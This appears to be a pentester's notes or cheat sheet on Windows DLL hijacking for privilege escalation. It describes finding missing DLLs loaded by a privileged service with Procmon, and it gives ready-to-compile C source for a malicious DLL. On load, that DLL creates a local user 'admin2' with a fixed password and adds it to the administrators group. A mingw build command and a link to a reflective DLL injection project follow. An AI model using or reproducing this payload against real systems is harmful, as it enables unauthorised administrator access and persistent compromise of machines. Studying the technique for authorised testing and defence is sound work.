1. Down­load a pro­gram which runs with high­er priv­i­legs in an own VM.
2. Use Proc­mon to find DLLs which it tries to load, but did­n’t find. Down­load it from Microsoft.
3. Fil­ter for the ser­vice or exe­cute­able. Restart it afterwards.
4. See through the list and see if there are DLL load­ing which are not there or which could be overwritten. 
   • Maybe fil­ter also for Operation = CreateFile.
5. If you found a Place to cre­ate / over­write an DLL: Cre­ate a DLL. Using this tem­plate from Microsoft, a vari­ant could be:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
            int i;
  	    i = system ("net user admin2 password123! /add");
  	    i = system ("net localgroup administrators admin2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Com­pile it native­ly or not:

x86_64-w64-mingw32-gcc searchedName.cpp --shared -o searchedName.dll

Restart the ser­vice / appli­ca­tion some­how and check if there is a new admin2 alive.

Reflective DLL Injection

See https://github.com/stephenfewer/ReflectiveDLLInjection